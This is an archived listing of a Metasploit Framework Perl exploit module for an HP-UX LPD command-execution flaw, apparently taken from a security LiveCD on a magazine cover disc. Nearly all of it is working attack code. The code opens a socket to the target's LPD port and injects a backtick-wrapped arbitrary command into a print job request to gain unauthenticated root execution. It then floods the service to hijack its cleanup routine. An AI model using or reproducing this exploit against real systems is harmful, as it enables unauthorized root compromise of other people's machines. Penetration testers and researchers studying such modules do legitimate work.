home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / hpux_lpd_exec.pm < prev    next >
Encoding:
Perl POD Document  |  2006-06-30  |  2.8 KB  |  108 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::hpux_lpd_exec;
  11. use base "Msf::Exploit";
  12. use IO::Socket;
  13. use IO::Select;
  14. use strict;
  15. use Pex::Text;
  16.  
  17. my $advanced = { };
  18.  
  19. my $info =
  20.   {
  21.     'Name'  => 'HP-UX LPD Command Execution',
  22.     'Version'  => '$Revision: 1.13 $',
  23.     'Authors' => [ 'H D Moore <hdm [at] metasploit.com>'],
  24.     'Arch'  => [ ],
  25.     'OS'    => [ 'hpux' ],
  26.     'Priv'  => 0,
  27.     'UserOpts'  =>
  28.       {
  29.         'RHOST' => [1, 'ADDR', 'The target address'],
  30.         'RPORT' => [1, 'PORT', 'The LPD server port', 515],
  31.       },
  32.     'Payload' =>
  33.       {
  34.         'Space'    => 200,
  35.         'Keys'     => ['cmd_nospaceslash'],
  36.       },
  37.  
  38.     'Description'  => Pex::Text::Freeform(qq{
  39.         This exploit abuses an unpublished vulnerability in the HP-UX LPD
  40.         service. This flaw allows an unauthenticated attacker to execute
  41.         arbitrary commands with the privileges of the root user. The LPD
  42.         service is only exploitable when the address of the attacking system
  43.         can be resolved by the target. This vulnerability was silently patched
  44.         with the buffer overflow flaws addressed in HP Security Bulletin HPSBUX0208-213.
  45. }),
  46.     'Refs'  =>  [
  47.         ['URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html']
  48.       ],
  49.  
  50.     'Keys' => ['lpd'],
  51.   };
  52.  
  53. sub new {
  54.     my $class = shift;
  55.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  56.     return($self);
  57. }
  58.  
  59. sub Exploit {
  60.     my $self = shift;
  61.     my $target_host = $self->GetVar('RHOST');
  62.     my $target_port = $self->GetVar('RPORT');
  63.     my $target_path = $self->GetVar('RPATH');
  64.     my $cmd = $self->GetVar('EncodedPayload')->RawPayload;
  65.  
  66.     my $res;
  67.  
  68.     # We use a second connection to exploit the bug
  69.     my $s = Msf::Socket::Tcp->new
  70.       (
  71.         'PeerAddr'  => $target_host,
  72.         'PeerPort'  => $target_port,
  73.         'LocalPort' => $self->GetVar('CPORT'),
  74.         'SSL'       => $self->GetVar('SSL'),
  75.       );
  76.       
  77.     if ($s->IsError) {
  78.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  79.         return;
  80.     }
  81.  
  82.     srand(time() + $$);
  83.     my $num = int(rand() * 1000);
  84.  
  85.     $s->Send("\x02msf$num`$cmd`\n");
  86.     $res = $s->Recv(1, 5);
  87.     if (ord($res) != 0) {
  88.         $self->PrintLine("[*] The target did not accept our second job request command");
  89.         $s->Close;
  90.         return;
  91.     }
  92.  
  93.     $s->Send("\x02 32 cfA187control\n");
  94.     $res = $s->Recv(1, 5);
  95.     if (ord($res) != 0) {
  96.         $self->PrintLine("[*] The target did not accept our control file");
  97.         $s->Close;
  98.         return;
  99.     }
  100.  
  101.     $self->PrintLine("[*] Remember to kill the telnet process when finished");
  102.     $self->PrintLine("[*] Forcing an error and hijacking the cleanup routine...");
  103.     $s->Send(Pex::Text::AlphaNumText(16384));
  104.     $s->Close;
  105.  
  106.     return;
  107. }
  108.